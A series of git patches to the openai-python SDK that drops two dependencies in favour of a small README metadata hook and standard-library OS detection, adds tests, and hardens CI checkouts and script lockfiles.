- { url = "https://files.pythonhosted.org/packages/1f/27/89070ca9b856e52960da1472efcb6c20ba27cfe902f4f23ed095b9cfc61d/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c64d07e95606ec402a0a1c511fe003873fa6af630bda59bac77fac8b4318ebc", size = 394519, upload-time = "2025-08-27T12:15:57.238Z" },
- { url = "https://files.pythonhosted.org/packages/b3/28/be120586874ef906aa5aeeae95ae8df4184bc757e5b6bd1c729ccff45ed5/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:93a2ed40de81bcff59aabebb626562d48332f3d028ca2036f1d23cbb52750be4", size = 523817, upload-time = "2025-08-27T12:15:59.237Z" },
- { url = "https://files.pythonhosted.org/packages/a8/ef/70cc197bc11cfcde02a86f36ac1eed15c56667c2ebddbdb76a47e90306da/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:387ce8c44ae94e0ec50532d9cb0edce17311024c9794eb196b90e1058aadeb66", size = 403240, upload-time = "2025-08-27T12:16:00.923Z" },
- { url = "https://files.pythonhosted.org/packages/cf/35/46936cca449f7f518f2f4996e0e8344db4b57e2081e752441154089d2a5f/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaf94f812c95b5e60ebaf8bfb1898a7d7cb9c1af5744d4a67fa47796e0465d4e", size = 385194, upload-time = "2025-08-27T12:16:02.802Z" },
- { url = "https://files.pythonhosted.org/packages/e1/62/29c0d3e5125c3270b51415af7cbff1ec587379c84f55a5761cc9efa8cd06/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:4848ca84d6ded9b58e474dfdbad4b8bfb450344c0551ddc8d958bf4b36aa837c", size = 402086, upload-time = "2025-08-27T12:16:04.806Z" },
- { url = "https://files.pythonhosted.org/packages/8f/66/03e1087679227785474466fdd04157fb793b3b76e3fcf01cbf4c693c1949/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2bde09cbcf2248b73c7c323be49b280180ff39fadcfe04e7b6f54a678d02a7cf", size = 419272, upload-time = "2025-08-27T12:16:06.471Z" },
- { url = "https://files.pythonhosted.org/packages/6a/24/e3e72d265121e00b063aef3e3501e5b2473cf1b23511d56e529531acf01e/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:94c44ee01fd21c9058f124d2d4f0c9dc7634bec93cd4b38eefc385dabe71acbf", size = 560003, upload-time = "2025-08-27T12:16:08.06Z" },
- { url = "https://files.pythonhosted.org/packages/26/ca/f5a344c534214cc2d41118c0699fffbdc2c1bc7046f2a2b9609765ab9c92/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:df8b74962e35c9249425d90144e721eed198e6555a0e22a563d29fe4486b51f6", size = 590482, upload-time = "2025-08-27T12:16:10.137Z" },
- { url = "https://files.pythonhosted.org/packages/ce/08/4349bdd5c64d9d193c360aa9db89adeee6f6682ab8825dca0a3f535f434f/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:dc23e6820e3b40847e2f4a7726462ba0cf53089512abe9ee16318c366494c17a", size = 556523, upload-time = "2025-08-27T12:16:12.188Z" },
-]
-
[[package]]
name = "ruff"
version = "0.14.7"
From e673ca8ff9e5c2292615976e99bf5731d47327e8 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 15:16:50 +0000
Subject: [PATCH 031/341] [2/n] Keep the package README hook in the repository
(#3655)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
# Summary
This is part of a series to reduce the SDK’s dependency surface where a
small, purpose-built alternative is sufficient.
- Replace `hatch-fancy-pypi-readme` with a small repository-owned Hatch
metadata hook for our existing relative-link rewrite.
- Preserve the README published in package metadata, including when a
wheel is built from the source distribution.
- Reduce the isolated build dependency graph from seven to six
distributions across supported Python versions. Runtime and development
dependencies are unchanged.
## Stack
- https://github.com/openai/openai-python/pull/3653 (merged)
- https://github.com/openai/openai-python/pull/3654 (merged)
- https://github.com/openai/openai-python/pull/3655 👈 this PR
- https://github.com/openai/openai-python/pull/3656
---
pyproject.toml | 19 ++++++-------------
scripts/hatch_metadata.py | 28 ++++++++++++++++++++++++++++
tests/test_readme_metadata.py | 29 +++++++++++++++++++++++++++++
uv.lock | 16 ----------------
4 files changed, 63 insertions(+), 29 deletions(-)
create mode 100644 scripts/hatch_metadata.py
create mode 100644 tests/test_readme_metadata.py
diff --git a/pyproject.toml b/pyproject.toml
index fc82da085d..55d52fba17 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -73,7 +73,6 @@ pydantic-v2 = ["pydantic>=2,<3"]
# Isolated build requirements are exported with hashes by scripts/build.
build = [
"hatchling==1.26.3",
- "hatch-fancy-pypi-readme==25.1.0",
"packaging==26.3",
"pathspec==1.1.1",
"pluggy==1.6.0",
@@ -90,7 +89,6 @@ conflicts = [[{ group = "pydantic-v1" }, { group = "pydantic-v2" }]]
# Also constrain editable/source builds performed by uv sync.
build-constraint-dependencies = [
"hatchling==1.26.3",
- "hatch-fancy-pypi-readme==25.1.0",
"packaging==26.3",
"pathspec==1.1.1",
"pluggy==1.6.0",
@@ -100,7 +98,7 @@ build-constraint-dependencies = [
[build-system]
-requires = ["hatchling==1.26.3", "hatch-fancy-pypi-readme==25.1.0"]
+requires = ["hatchling==1.26.3"]
build-backend = "hatchling.build"
[tool.hatch.build]
@@ -126,16 +124,8 @@ include = [
"tests/*",
]
-[tool.hatch.metadata.hooks.fancy-pypi-readme]
-content-type = "text/markdown"
-
-[[tool.hatch.metadata.hooks.fancy-pypi-readme.fragments]]
-path = "README.md"
-
-[[tool.hatch.metadata.hooks.fancy-pypi-readme.substitutions]]
-# replace relative links with absolute links
-pattern = '\[(.+?)\]\(((?!https?://)\S+?)\)'
-replacement = '[\1](https://github.com/openai/openai-python/tree/main/\g<2>)'
+[tool.hatch.metadata.hooks.custom]
+path = "scripts/hatch_metadata.py"
[tool.pytest.ini_options]
testpaths = ["tests"]
@@ -166,6 +156,8 @@ exclude = [
".git",
"tests/respx2",
"src/openai/_vendor",
+ # Loaded in Hatchling's isolated build environment.
+ "scripts/hatch_metadata.py",
# uses inline `uv` script dependencies
# which means it can't be type checked
@@ -195,6 +187,7 @@ show_error_codes = true
exclude = [
'src/openai/_files.py',
'src/openai/_vendor/.*',
+ 'scripts/hatch_metadata.py',
'_dev/.*.py',
'tests/.*',
'src/openai/_utils/_logs.py',
diff --git a/scripts/hatch_metadata.py b/scripts/hatch_metadata.py
new file mode 100644
index 0000000000..4689b586cf
--- /dev/null
+++ b/scripts/hatch_metadata.py
@@ -0,0 +1,28 @@
+"""Prepare the package README without importing the SDK or extra build plugins."""
+
+from __future__ import annotations
+
+import re
+from typing import Any
+from pathlib import Path
+
+
+def render_readme(text: str) -> str:
+ # Preserve the relative-link rewrite previously configured in pyproject.toml.
+ return re.sub(
+ r"\[(.+?)\]\(((?!https?://)\S+?)\)",
+ r"[\1](https://github.com/openai/openai-python/tree/main/\g<2>)",
+ text,
+ )
+
+
+def get_metadata_hook() -> type[Any]:
+ # Hatchling is available in the isolated build environment, not at runtime.
+ from hatchling.metadata.plugin.interface import MetadataHookInterface
+
+ class ReadmeMetadataHook(MetadataHookInterface):
+ def update(self, metadata: dict[str, Any]) -> None:
+ text = Path(self.root, "README.md").read_text(encoding="utf-8")
+ metadata["readme"] = {"content-type": "text/markdown", "text": render_readme(text)}
+
+ return ReadmeMetadataHook
diff --git a/tests/test_readme_metadata.py b/tests/test_readme_metadata.py
new file mode 100644
index 0000000000..555c9f858a
--- /dev/null
+++ b/tests/test_readme_metadata.py
@@ -0,0 +1,29 @@
+from __future__ import annotations
+
+import runpy
+from typing import Callable, cast
+from pathlib import Path
+
+import pytest
+
+_render_readme = cast(
+ Callable[[str], str],
+ runpy.run_path(str(Path(__file__).parents[1] / "scripts" / "hatch_metadata.py"))["render_readme"],
+)
+
+
+@pytest.mark.parametrize(
+ "text,expected",
+ [
+ ("[Guide](CONTRIBUTING.md)", "[Guide](https://github.com/openai/openai-python/tree/main/CONTRIBUTING.md)"),
+ (
+ "[Example](examples/demo.py#usage)",
+ "[Example](https://github.com/openai/openai-python/tree/main/examples/demo.py#usage)",
+ ),
+ ("[Docs](https://example.com/docs)", "[Docs](https://example.com/docs)"),
+ ("[Docs](http://example.com/docs)", "[Docs](http://example.com/docs)"),
+ ("Plain text — no links", "Plain text — no links"),
+ ],
+)
+def test_readme_link_rewriting(text: str, expected: str) -> None:
+ assert _render_readme(text) == expected
diff --git a/uv.lock b/uv.lock
index 1dbd028fd2..b883038aa1 100644
--- a/uv.lock
+++ b/uv.lock
@@ -24,7 +24,6 @@ exclude-newer-span = "P8D"
[manifest]
build-constraints = [
- { name = "hatch-fancy-pypi-readme", specifier = "==25.1.0" },
{ name = "hatchling", specifier = "==1.26.3" },
{ name = "packaging", specifier = "==26.3" },
{ name = "pathspec", specifier = "==1.1.1" },
@@ -729,19 +728,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
]
-[[package]]
-name = "hatch-fancy-pypi-readme"
-version = "25.1.0"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "hatchling" },
- { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/f3/0f/aed57c301f339936eb91cb4d8c1e5088a101081854bd3ec18a889df32365/hatch_fancy_pypi_readme-25.1.0.tar.gz", hash = "sha256:9c58ed3dff90d51f43414ce37009ad1d5b0f08ffc9fc216998a06380f01c0045", size = 29701, upload-time = "2025-05-01T10:34:42.989Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/58/b4/ad71e051b34f1935783de37beffee16e343ff2514b204dc515f9e939d4af/hatch_fancy_pypi_readme-25.1.0-py3-none-any.whl", hash = "sha256:ce0134c40d63d874ac48f48ccc678b8f3b62b8e50e9318520d2bffc752eedaf3", size = 10046, upload-time = "2025-05-01T10:34:41.204Z" },
-]
-
[[package]]
name = "hatchling"
version = "1.26.3"
@@ -1363,7 +1349,6 @@ voice-helpers = [
[package.dev-dependencies]
build = [
- { name = "hatch-fancy-pypi-readme" },
{ name = "hatchling" },
{ name = "packaging" },
{ name = "pathspec" },
@@ -1415,7 +1400,6 @@ provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
[package.metadata.requires-dev]
build = [
- { name = "hatch-fancy-pypi-readme", specifier = "==25.1.0" },
{ name = "hatchling", specifier = "==1.26.3" },
{ name = "packaging", specifier = "==26.3" },
{ name = "pathspec", specifier = "==1.1.1" },
From d5b00659d6659c5def665cb04e6563bdf683ea03 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 15:22:43 +0000
Subject: [PATCH 032/341] [3/n] Use the standard library for platform headers
(#3656)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
# Summary
This is part of a series to reduce the SDK’s dependency surface where a
small, purpose-built alternative is sufficient.
- Replace `distro` with Python’s standard OS-release lookup for the
diagnostic platform header.
- Preserve mobile detection, recognize FreeBSD and OpenBSD directly, and
fall back to `Linux` if OS-release information is unavailable.
- Matching `distro`’s exact behavior is explicitly a non-goal. This
header only needs to be close enough for our analytics purposes; we
prefer removing the dependency over reproducing its full
distribution-detection and fallback behavior.
- Remove one runtime dependency: the default graph goes from 15 to 14
distributions, and the all-extras graph from 37 to 36. No remaining
dependency versions change.
## Stack
- https://github.com/openai/openai-python/pull/3653 (merged)
- https://github.com/openai/openai-python/pull/3654 (merged)
- https://github.com/openai/openai-python/pull/3655 (merged)
- https://github.com/openai/openai-python/pull/3656 👈 this PR
---
pyproject.toml | 1 -
src/openai/_base_client.py | 14 +++--
tests/test_platform.py | 103 +++++++++++++++++++++++++++++++++++++
uv.lock | 11 ----
4 files changed, 114 insertions(+), 15 deletions(-)
create mode 100644 tests/test_platform.py
diff --git a/pyproject.toml b/pyproject.toml
index 55d52fba17..55e3e3b0cf 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -13,7 +13,6 @@ dependencies = [
"pydantic>=1.9.0, <3",
"typing-extensions>=4.14, <5",
"anyio>=4.10.0, <5",
- "distro>=1.7.0, <2",
"sniffio",
"jiter>=0.10.0, <1",
]
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index b6e2f2839d..7739a5d439 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -34,7 +34,6 @@
from typing_extensions import Unpack, Literal, override, get_origin
import anyio
-import distro
import httpx2
import pydantic
from httpx2 import URL
@@ -2186,9 +2185,18 @@ def get_platform() -> Platform:
# system is Linux and platform_name is a string like 'Linux-5.10.81-android12-9-00001-geba40aecb3b7-ab8534902-aarch64-with-libc'
return "Android"
+ if system == "freebsd":
+ return "FreeBSD"
+
+ if system == "openbsd":
+ return "OpenBSD"
+
if system == "linux":
- # https://distro.readthedocs.io/en/latest/#distro.id
- distro_id = distro.id()
+ try:
+ distro_id = platform.freedesktop_os_release().get("ID", "").lower()
+ except OSError:
+ # This diagnostic header does not require an os-release file.
+ distro_id = ""
if distro_id == "freebsd":
return "FreeBSD"
diff --git a/tests/test_platform.py b/tests/test_platform.py
new file mode 100644
index 0000000000..4a3ad0b0d0
--- /dev/null
+++ b/tests/test_platform.py
@@ -0,0 +1,103 @@
+from __future__ import annotations
+
+import threading
+from typing import Any, Iterator, cast
+from unittest.mock import Mock
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._base_client import get_platform, platform_headers
+
+
+@pytest.fixture(autouse=True)
+def clear_platform_headers() -> Iterator[None]:
+ # The SDK's lru_cache wrapper preserves the callable's original signature.
+ cast(Any, platform_headers).cache_clear()
+ yield
+ cast(Any, platform_headers).cache_clear()
+
+
+@pytest.mark.parametrize(
+ "system,name,expected",
+ [
+ ("Darwin", "Darwin-iPhone12,1", "iOS"),
+ ("Darwin", "Darwin-iPad7,11", "iOS"),
+ ("Darwin", "macOS", "MacOS"),
+ ("Windows", "Windows-11", "Windows"),
+ ("Linux", "Linux-android12", "Android"),
+ ("FreeBSD", "FreeBSD-14", "FreeBSD"),
+ ("OpenBSD", "OpenBSD-7", "OpenBSD"),
+ ("SunOS", "SunOS-5", "Other:sunos-5"),
+ ("", "", "Unknown"),
+ ],
+)
+def test_non_linux_platforms(monkeypatch: pytest.MonkeyPatch, system: str, name: str, expected: str) -> None:
+ monkeypatch.setattr("openai._base_client.platform.system", lambda: system)
+ monkeypatch.setattr("openai._base_client.platform.platform", lambda: name)
+ os_release = Mock(side_effect=AssertionError("os-release must not be read"))
+ monkeypatch.setattr("openai._base_client.platform.freedesktop_os_release", os_release)
+ assert str(get_platform()) == expected
+ os_release.assert_not_called()
+
+
+@pytest.mark.parametrize(
+ "release,expected",
+ [({}, "Linux"), ({"ID": "ubuntu"}, "Linux"), ({"ID": "FREEBSD"}, "FreeBSD"), ({"ID": "openbsd"}, "OpenBSD")],
+)
+def test_linux_os_release(monkeypatch: pytest.MonkeyPatch, release: dict[str, str], expected: str) -> None:
+ monkeypatch.setattr("openai._base_client.platform.system", lambda: "Linux")
+ monkeypatch.setattr("openai._base_client.platform.platform", lambda: "Linux-6")
+ monkeypatch.setattr("openai._base_client.platform.freedesktop_os_release", lambda: release)
+ assert str(get_platform()) == expected
+
+
+@pytest.mark.parametrize("error", [FileNotFoundError(), PermissionError(), OSError()])
+def test_unreadable_os_release(monkeypatch: pytest.MonkeyPatch, error: OSError) -> None:
+ monkeypatch.setattr("openai._base_client.platform.system", lambda: "Linux")
+ monkeypatch.setattr("openai._base_client.platform.platform", lambda: "Linux-6")
+ monkeypatch.setattr("openai._base_client.platform.freedesktop_os_release", Mock(side_effect=error))
+ assert get_platform() == "Linux"
+
+
+def test_platform_lookup_failure(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr("openai._base_client.platform.system", Mock(side_effect=OSError()))
+ assert get_platform() == "Unknown"
+
+
+def _linux_request_setup(monkeypatch: pytest.MonkeyPatch, expected: str) -> httpx2.MockTransport:
+ monkeypatch.setattr("openai._base_client.platform.system", lambda: "Linux")
+ monkeypatch.setattr("openai._base_client.platform.platform", lambda: "Linux-6")
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ assert request.headers["X-Stainless-OS"] == expected
+ return httpx2.Response(200, json={})
+
+ return httpx2.MockTransport(handler)
+
+
+def test_sync_request_platform_header(monkeypatch: pytest.MonkeyPatch) -> None:
+ transport = _linux_request_setup(monkeypatch, "Linux")
+ monkeypatch.setattr("openai._base_client.platform.freedesktop_os_release", Mock(side_effect=FileNotFoundError()))
+ with OpenAI(api_key="test-key", http_client=httpx2.Client(transport=transport, trust_env=False)) as client:
+ assert client.get("/models", cast_to=httpx2.Response).status_code == 200
+
+
+async def test_async_request_platform_header(monkeypatch: pytest.MonkeyPatch) -> None:
+ transport = _linux_request_setup(monkeypatch, "FreeBSD")
+ event_loop_thread = threading.get_ident()
+ calls: list[int] = []
+
+ def os_release() -> dict[str, str]:
+ calls.append(threading.get_ident())
+ return {"ID": "freebsd"}
+
+ monkeypatch.setattr("openai._base_client.platform.freedesktop_os_release", os_release)
+ async with AsyncOpenAI(
+ api_key="test-key", http_client=httpx2.AsyncClient(transport=transport, trust_env=False)
+ ) as client:
+ for _ in range(2):
+ assert (await client.get("/models", cast_to=httpx2.Response)).status_code == 200
+ assert len(calls) == 1
+ assert calls[0] != event_loop_thread
diff --git a/uv.lock b/uv.lock
index b883038aa1..8dc2e1a447 100644
--- a/uv.lock
+++ b/uv.lock
@@ -547,15 +547,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0d/c3/e90f4a4feae6410f914f8ebac129b9ae7a8c92eb60a638012dde42030a9d/cryptography-46.0.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6b5063083824e5509fdba180721d55909ffacccc8adbec85268b48439423d78c", size = 3438528, upload-time = "2025-10-15T23:18:26.227Z" },
]
-[[package]]
-name = "distro"
-version = "1.9.0"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/fc/f8/98eea607f65de6527f8a2e8885fc8015d3e6f5775df186e443e0964a11c3/distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed", size = 60722, upload-time = "2023-12-24T09:54:32.31Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" },
-]
-
[[package]]
name = "exceptiongroup"
version = "1.3.1"
@@ -1316,7 +1307,6 @@ version = "3.3.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
- { name = "distro" },
{ name = "httpx2" },
{ name = "jiter" },
{ name = "pydantic", version = "1.10.26", source = { registry = "https://pypi.org/simple" }, marker = "extra == 'group-6-openai-pydantic-v1'" },
@@ -1383,7 +1373,6 @@ requires-dist = [
{ name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
{ name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
- { name = "distro", specifier = ">=1.7.0,<2" },
{ name = "httpx2", specifier = ">=2.7.0,<3" },
{ name = "jiter", specifier = ">=0.10.0,<1" },
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
From 8174e247db4e6698395da5e07543c304a8c8f294 Mon Sep 17 00:00:00 2001
From: William Woodruff
Date: Wed, 19 Aug 2026 15:54:46 +0000
Subject: [PATCH 033/341] disable checkout credential persistence (#3674)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
## Additional context & links
---
.github/workflows/ci.yml | 8 ++++++++
.github/workflows/detect-breaking-changes.yml | 17 +++++++----------
.github/workflows/publish-pypi.yml | 2 ++
3 files changed, 17 insertions(+), 10 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 61e95c69f5..9e2d42c980 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -26,6 +26,8 @@ jobs:
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
@@ -100,6 +102,8 @@ jobs:
python-version: ["3.10", "3.14"]
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Set up Python ${{ matrix.python-version }}
id: setup-python
@@ -127,6 +131,8 @@ jobs:
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Set up Python 3.14
id: setup-python
@@ -159,6 +165,8 @@ jobs:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index b339104295..0437c2bb93 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -18,19 +18,14 @@ jobs:
if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || github.event_name == 'merge_group')
env:
BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event.merge_group.base_sha }}
- FETCH_DEPTH: 0
steps:
- - name: Calculate fetch-depth
- if: github.event_name == 'pull_request'
- env:
- PR_COMMITS: ${{ github.event.pull_request.commits }}
- run: |
- echo "FETCH_DEPTH=$((PR_COMMITS + 1))" >> "$GITHUB_ENV"
-
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
- # Ensure the comparison base is available to the scripts below.
- fetch-depth: ${{ env.FETCH_DEPTH }}
+ persist-credentials: false
+ fetch-depth: 1
+
+ - name: Fetch comparison base
+ run: git fetch --no-tags --depth=1 origin "$BASE_SHA"
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
@@ -57,6 +52,7 @@ jobs:
# Setup this sdk
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
+ persist-credentials: false
path: openai-python
- name: Set up uv
@@ -76,6 +72,7 @@ jobs:
# Setup the agents lib
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
+ persist-credentials: false
repository: openai/openai-agents-python
path: openai-agents-python
diff --git a/.github/workflows/publish-pypi.yml b/.github/workflows/publish-pypi.yml
index 1ee1a61911..ec496d4b13 100644
--- a/.github/workflows/publish-pypi.yml
+++ b/.github/workflows/publish-pypi.yml
@@ -16,6 +16,8 @@ jobs:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
From 8995963f9563e4949c495d2d19853c3bf126dee6 Mon Sep 17 00:00:00 2001
From: William Woodruff
Date: Wed, 19 Aug 2026 16:02:13 +0000
Subject: [PATCH 034/341] add script dependency cooldown (#3675)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
## Additional context & links
---
examples/realtime/push_to_talk_app.py | 3 +
examples/realtime/push_to_talk_app.py.lock | 996 +++++++++++++++++++++
2 files changed, 999 insertions(+)
create mode 100644 examples/realtime/push_to_talk_app.py.lock
diff --git a/examples/realtime/push_to_talk_app.py b/examples/realtime/push_to_talk_app.py
index ea00ac28af..28e8126b89 100755
--- a/examples/realtime/push_to_talk_app.py
+++ b/examples/realtime/push_to_talk_app.py
@@ -20,6 +20,9 @@
# "openai[realtime]",
# ]
#
+# [tool.uv]
+# exclude-newer = "P8D"
+#
# [tool.uv.sources]
# openai = { path = "../../", editable = true }
# ///
diff --git a/examples/realtime/push_to_talk_app.py.lock b/examples/realtime/push_to_talk_app.py.lock
new file mode 100644
index 0000000000..b4e5403afb
--- /dev/null
+++ b/examples/realtime/push_to_talk_app.py.lock
@@ -0,0 +1,996 @@
+version = 1
+revision = 3
+requires-python = ">=3.10"
+resolution-markers = [
+ "python_full_version >= '3.12'",
+ "python_full_version == '3.11.*'",
+ "python_full_version < '3.11'",
+]
+
+[options]
+exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
+exclude-newer-span = "P8D"
+
+[manifest]
+requirements = [
+ { name = "numpy" },
+ { name = "openai", extras = ["realtime"], editable = "../../" },
+ { name = "pyaudio" },
+ { name = "pydub" },
+ { name = "sounddevice" },
+ { name = "textual" },
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.8.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5f/56/a8120250d128bed162cd73c76d45f6ef9991f3e068f62a8ee060afa3104a/annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7", size = 15893, upload-time = "2026-07-23T20:16:13.995Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/99/91/8acff4f5e50511b911bbccb72b8628a49c68ce14148cd9f6431094859a90/annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0", size = 13427, upload-time = "2026-07-23T20:16:12.938Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.14.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "exceptiongroup", marker = "python_full_version < '3.11'" },
+ { name = "idna" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "2.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser", marker = "implementation_name != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" },
+ { url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" },
+ { url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" },
